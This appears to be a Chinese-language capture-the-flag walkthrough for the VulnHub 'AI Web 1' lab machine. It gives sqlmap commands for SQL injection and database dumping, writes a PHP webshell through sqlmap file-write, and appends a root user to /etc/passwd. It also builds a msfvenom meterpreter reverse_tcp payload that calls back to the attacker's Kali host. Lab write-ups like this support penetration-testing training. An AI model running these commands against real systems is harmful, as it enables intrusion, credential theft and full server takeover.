靶机: https://www.vulnhub.com/entry/ai-web-1,353/
攻击机: kali
nmap -sP ip段
nmap -sV -A -p- 192.168.47.152
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd
| http-robots.txt: 2 disallowed entries
|_/m3diNf0/ /se3reTdir777/uploads/
|_http-server-header: Apache
|_http-title: AI Web 1.0
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
直接 http://192.168.47.152/ 这样去爆破,没有什么结果!!!
/m3diNf0/
/se3reTdir777/uploads/
/m3diNf0/info.php
/se3reTdir777/index.php
/se3reTdir777/index.php/login/
1、通过 php探针 知道网站物理路径: /home/www/html/web1x443290o2sdf92213
2、发现有个可以查询的界面,下一步猜测是否存在注入
输入 1 正常;
输入 1' 报错;
输入 1‘# 正常;
所以是存在注入的!
爆破数据库: sqlmap -r post --dbs
available databases [2]:
[*] aiweb1
[*] information_schema
爆破表: sqlmap -r post -D aiweb1 --tables
Database: aiweb1
[2 tables]
+------------+
| user |
| systemUser |
+------------+
爆破 user表:
Table: user
[3 columns]
+-----------+-------------+
| Column | Type |
+-----------+-------------+
| id | int(11) |
| firstName | varchar(25) |
| lastName | varchar(25) |
+-----------+-------------+
爆破 systemUser表:
Table: systemUser
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int(11) |
| password | varchar(50) |
| userName | varchar(25) |
+----------+-------------+
爆破 user 表数据: sqlmap -r post -D aiweb1 -T user -C firstName,lastName --dump
Database: aiweb1
Table: user
[3 entries]
+-----------+----------+
| firstName | lastName |
+-----------+----------+
| admin | admin |
| root | root |
| mysql | mysql |
+-----------+----------+
爆破 systemUser 表数据: sqlmap -r post -D aiweb1 -T systemUser -C id,password,userName --dump
Database: aiweb1
Table: systemUser
[3 entries]
+------+----------------------------------------------+-----------+
| id | password | userName |
+------+----------------------------------------------+-----------+
| 3 | TjB0VGhpczBuZUFsczA= | u3er |
| 1 | RmFrZVVzZXJQYXNzdzByZA== | t00r |
| 2 | TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ== | aiweb1pwn |
+------+----------------------------------------------+-----------+
base64 解密:
t00r :RmFrZVVzZXJQYXNzdzByZA== (FakeUserPassw0rd)
aiweb1pwn :TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ== (MyEvilPass_f908sdaf9_sadfasf0sa)
u3er :TjB0VGhpczBuZUFsczA= (N0tThis0neAls0)
**这里小结一下: ** 上面爆破的东西没什么用,拿去尝试登入,是错的密码!!!
1、尝试读取 /etc/passwd
sqlmap -r post file_read="/etc/passwd"
没有读到!!!
2、写入webshell
通过 sqlmap写入一句话:(这里方法有很多,就举一个吧!)
参考:sqlmap写入 --file-write --file-dest 写入一句话
其他还可以利用 sqlmap的 --os-shell 和 mysql语句写入等。。。
sqlmap -r post --file-write="hack.php" --file-dest="/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php"
菜刀连接:
http://192.168.47.152/se3reTdir777/uploads/shell.php
发现可以查看 /etc/passwd 但是sqlmap没爆出来,奇怪!!!
无法访问 root 目录,所以还得提权!!!
前提:发现 www-data 用户对 /etc/passwd 有写权限!!!
添加个 root 权限用户: 例如 插入用户: inseone 密码: passtest
perl -le 'print crypt("passtest","salt")'
echo "inseone:sabE5x7epbUlE:0:0:hacker:/root:/bin/bash" >> /etc/passwd
1、生成 php 木马
msfvenom -a php php/meterpreter/reverse_tcp LHOST=kali_ip LPORT=4444 -f raw > webshell.php
2、通过菜刀上传到前面一句话木马那个目录下
1、 进入终端: shell
2、交互式终端: python -c 'import pty;pty.spawn("/bin/bash")'